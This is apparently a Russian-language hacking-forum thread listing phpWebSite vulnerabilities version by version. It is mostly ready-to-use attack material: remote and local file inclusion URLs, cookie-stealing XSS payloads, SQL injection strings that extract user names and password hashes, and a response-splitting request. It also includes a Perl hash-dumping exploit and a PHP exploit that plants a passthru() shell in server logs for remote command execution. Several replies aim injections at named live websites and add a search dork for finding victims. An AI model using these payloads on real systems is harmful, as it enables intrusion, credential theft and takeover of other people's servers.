Уязвимости phpWebSite от старых к новым: phpWebsite 0.8.2 Уязвимость позволяет включать произвольный удаленный PHP файл в include_once.php или modsecurity.php скрипты: modsecurity.php: Code: <?php global $inc_prefix; if(!$inc_prefix) { ... } ... include_once($inc_prefix."htmlheader.php"); ?> таким образом, вызов Code: http://[HOST]/modsecurity.php?inc_prefix=http://site.narod.ru/ приведет к инклюду, для этого нужно. что бы скрипт с внедряемым кодом находился на сайте атакующего и назывался htmlheader.php, естественно сайт должен быть без поддержки PHP, пример: Code: http://[HOST]/ catalog/inludes/include_once.php?inc_prefix=http://site.narod.ru/ phpWebsite 0.8.3 Уязвимость позволяет произвести Пассивную XSS-атаку: Code: http://[HOST]/article.php?sid="><Img Src=javascript:alert(document.cookie)> SQL инъекции: Уязвимость существует в сценариях friend.php и article.php в параметре "sid”. Удачная эксплуатация уязвимости возможна при выключенной опции "magic_quotes_gpc". Пример: Code: http://[target]/friend.php?op=FriendSend&sid=-1+union+select+name+from+users+where+uid=1 http://[target]/article.php?sid=[sql] phpWebsite 0.9.3 SQL инъекция. Уязвимость обнаружена в модуле 'Calendar'. Пример: Code: http://[HOST]/[PATH]/index.php?module=calendar&calendar[view] =month&month=11&year=2003 and startDate <= 20071205) or ( endDate >=031101 and endDate <=20071205)) and active=1 Уязвимы и другие сценарии в модуле 'Calendar'. XSS. Уязвимость обнаружена в модулях 'Calendar', 'PageMaster', и 'Fatcat'. Примеры: Code: http://[HOST]/[PATH]/index.php?module=calendar&calendar[view] =day&month=2&year=2003&day=1+%00"><script>alert(‘XSS’)</script> Code: http://[HOST]/[PATH]/index.php?modu le=fatcat&fatcat[user] =viewCategory&fatcat_id=1%00+"><script>alert(‘XSS’)</script> Code: http://[HOST]/[PATH]/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=10+"><script>alert(‘XSS’)</script>&MMN_position=[X:X] Code: http://[HOST]/[PATH]/index.php?module=search&SEA_search_op=continue&PDA_limit=10">+"><script>alert(‘XSS’)</script> Уязвимы все переменные Раскрытие инсталляционного пути: Code: http://[target]/index.php?module=calendar&calendar[view]=month&month=11&year=9 Переполнение буфера в модуле 'Calendar’, позволяет удаленному атакующему аварийно завершить работу Web сервера. Пример: Code: http://[HOST]/[PATH]/index.php?index.php?module=calendar&calendar[view]= [VIEW FORM]&month=11&year=91+92+93...( больше 4000 байт ) автор уязвимости утверждает, что ложится, веб-сервер и mysql сервер, и воизбежания этого советует: phpWebSite 0.9.x SQL инъекция. Уязвимость обнаружена в announce модуле. Code: http://[HOST]/[PATH]/index.php?module=announce&ANN_user_op=view&ANN_id='[SQL инъекция] phpWebSite 0.9.3-4 XSS. Пример: Code: /index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS] Также уязвимы поля subject и message в частных сообщениях посланных через notes модуль. Также сообщается, что phpWebSite нарушает RFC 2616, принимая функции клавиш через http get запросы. В результате, удаленный пользователь может выполнить XSS нападение, чтобы заставить целевого администратора выполнить функции клавиш, например, внедренные в GET запрос в IFRAME или image тэгах или других тэгах. Response Splitting. Уязвимость существует в фале index.php Удаленный атакующий может с помощью специально сформированного HTTP POST запроса подменить содержимое страниц web сервера, выполнить произвольный HTML код в браузере жертвы. Пример: Code: POST /index.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-length: 218 Connection: Keep-Alive module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:% site in 0wned</html>&password=foobar phpWebSite 0.10.0 Заливка шелла. Уязвимость обнаружена в модуле Announce при обработке gif файлов. Удаленный пользователь с привилегиями на загрузку файлов и публикацию анонсов может залить php сценарий на сервер. Удаленный пользователь может выдать php сценарий за gif файл (имя.gif.php) и вызвать его: Code: http://[HOST]/images/announce/имя.gif.php phpWebSite 0.10.1 SQL инъекция. пример: Code: http://[HOST]/phpweb/index.php?module=[sql_injection] Эксплоит: Code: #!/usr/bin/perl use LWP::Simple; $serv = $ARGV[0]; $path = $ARGV[1]; $name = $ARGV[2]; sub usage { print "\nUsage: $0 [server] [path] [username] \n"; print "sever - URL\n"; print "path - path to index.php\n"; print "username - name register user\n\n"; exit ();} sub work { print qq( --------------------------------- #==---[ phpWebSite SQL-injection | #==---[ tested ob phpWebSite-0.10.0 | #==---[ Gr33tz: blf, 1dt.w0lf, Pengo, | #==---[ edisan, foster, whice | #==---[ (c)oded by x97Rang 2005 RST/GHC | #==---[ http://rst.void.ru | #==---[ http://ghc.ru | ---------------------------------\n\n);&chv;&board} sub chv { $ver = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path); $getv = get "$ver"; if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}} sub board { $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path); $content = get "$URL"; if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}} sub showh { print "[*] User: $name\n"; print "[*] Hash: $2\n\n";} if (@ARGV != 3){&usage;}else{&work;} # milw0rm.com [2005-09-15] phpWebSite 0.10.2 Локальный инклюд. Уязвимость позволяет удаленному пользователю просмотреть (и принклюдить) произвольные локальные файлы. Уязвимость существует в параметре "hub_dir" сценария "index.php". Для успешной эксплуатации уязвимости опция "magic_quotes_gpc" должна быть отключена. Невозможность инклюда удаленных файлов существует из-за фильтрации символов “://” в уязвимом параметре с помощью условия: Code: if (!preg_match ("/:\/\//i", $hub_dir)) { loadConfig($hub_dir); } else { exit('FATAL ERROR! Hub directory was malformed.'); Эксплоит Code: #!/usr/bin/php -q -d short_open_tag=on <? echo "PHPWebSite <= 0.10.2 remote cmmnds xctn\r\n"; echo "-> arbitrary local inclusion, works with magic_quotes_gpc = Off\r\n"; echo "by rgod, mail: [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to phpwebsite\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n"; die; } /* explaination: vulnerable code in index.php at lines 21-29: ... if (!isset($hub_dir)) { $hub_dir = NULL; } if (!preg_match ("/:\/\//i", $hub_dir)) { loadConfig($hub_dir); } else { exit('FATAL ERROR! Hub directory was malformed.'); } ... and at lines 125-143: ... function loadConfig($hub_dir){ if (file_exists($hub_dir . 'conf/config.php')) { if (filesize($hub_dir . 'conf/config.php') > 0) { include($hub_dir . 'conf/config.php'); define('PHPWS_SOURCE_DIR', $source_dir); } else { header('Location: ./setup/set_config.php'); exit(); } } else { header('Location: ./setup/set_config.php'); exit(); } } .... so, you can include files from local resources, poc: http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00 you don't see output, but we have some code in log files, it will be executed also, on php5, arbitrary remote inclusion: http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\ including a full accessible share where on samba resource you have some code in conf/config.php */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "[1] Injecting some code in log files...\r\n"; $CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}'; $CODE.='passthru($_GET[cmd]);echo 666;die;?>'; $packet.="GET ".$path.$CODE." HTTP/1.1\r\n"; $packet.="User-Agent: ".$CODE."\r\n"; $packet.="Host: ".$serv."\r\n"; $packet.="Connection: close\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); sleep(2); # fill with possible locations $paths= array ( "/var/log/httpd/access_log", "/var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "/etc/httpd/logs/acces_log", "/etc/httpd/logs/acces.log", "/etc/httpd/logs/error_log", "/etc/httpd/logs/error.log", "/var/www/logs/access_log", "/var/www/logs/access.log", "/usr/local/apache/logs/access_log", "/usr/local/apache/logs/access.log", "/var/log/apache/access_log", "/var/log/apache/access.log", "/var/log/access_log", "/var/www/logs/error_log", "/www/logs/error.log", "/usr/local/apache/logs/error_log", "/usr/local/apache/logs/error.log", "/var/log/apache/error_log", "/var/log/apache/error.log", "/var/log/access_log", "/var/log/error_log", ); for ($i=0; $i<=count($paths)-1; $i++) { $j=$i+2; echo "[".$j."] Trying with ".$paths[$i]."%00\r\n"; $xpl=$paths[$i]; $packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #debug, shows packets in a nice format #echo quick_dump($packet); sendpacketii($packet); if (strstr($html,"666")){ echo "Exploit succeeded...\r\n"; $temp=explode("666",$html); echo $temp[1]; die; } } #if you are here... echo "Exploit failed..."; ?> # milw0rm.com [2006-04-14] phpWebSite 1.4.0 XSS. Уязвимость в параметре "search" в модуле поиска, пример: Code: http://[host]/search.php?query=”><script>alert('XSS')</script> Ну и от себя, вроде описания этой баги не нашел: SQL инъекция, версию не узнал, так как нигде не нашел CHANGELOG.txt существует в модуле downloads в параметре lid, Пример: Code: http://[host]/mod.php?mod=downloads&op=getit&lid=-1+union+select+concat(name,0x3a,pass),2+from+users/* рабочий пример: Code: http://www.heimplatzsuche.de/mod.php?mod=downloads&op=getit&lid=68+union+select+concat(name,0x3a,pass),2+from+users/* Не очень удобна в эксплуатации, посмотрите, поймете почему
Вот еще от меня XSS: версию опять же неузнал, но везде где пробовал работает: Code: http://[host]/mod.php?mod=userpage&menu=1210&page_id=[несуществующая страница]<script>alert(/xss/)</script> пример: Code: http://pcburn.com/mod.php?mod=userpage&menu=1210&page_id=-1<script>alert(/xss/)</script>
В дополнение найденое мной в версии 0.8.2(думаю будет работать и на других аналогичных)раскрытие пути Сценарий mod параметр mod(неверный параметр, или в массив) Code: http://[target]/mod.php?mod= Code: http://[target]/mod.php?mod[]= пассивные XSS сценарии article.php friend.php параметр sid Code: http://[target]/article.php?op=Print&sid=17<script>alert(11111)</script> Code: http://[target]/friend.php?op=FriendSend&sid=17"/><script>alert(/1/)</script> модуль newsletter Code: http://[target]/mod.php?mod=newsletter&op=archive&id=44"/><script>alert(/1/)</script> Code: http://[target]/mod.php?mod=newsletter&op=read&id=706&listid=44"/><script>alert(/1/)</script> в поиске "/><script>alert(/1/)</script> Code: http://[target]/search.php в форму пойска модуля faq >><script>alert(11111)</script> Code: http://[target]/mod.php?mod=faq&op=search_form И последняя работает не везде, почему не разобрался Code: http://[target]/mod.php?mod=faq>><script>alert(11111)</script> Всё найденное точно работает в версии 0.8.2, также проверялось на нескольких неопознанных версиях
phpwebsite, модуль article sql inj example: Code: [B]http://www.phpwebsitemanual.com/index.php?module=article&email=4+union+select+1,2,3,4,5,6,7,8,9,10,load_file(0x3b),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*[/B] phpwebsite, модуль announce sql inj example: Code: [B]http://www.phpwebsitemanual.com/index.php?module=announce&ANN_user_op=categories&category=4+order+by+2/*&list=categories&PAGER_limit=5&PAGER_start=0&PAGER_section=1[/B] /ps google it: Code: http://www.google.ru/search?q=inurl:?module=article+inurl:email *edit
POST запрос на странице http://site/index.php?module=users &action=user&command=signup_user Code: "><BODY onload=alert(document.cookie)> В полях: Password и Confirm (вместе), Email Address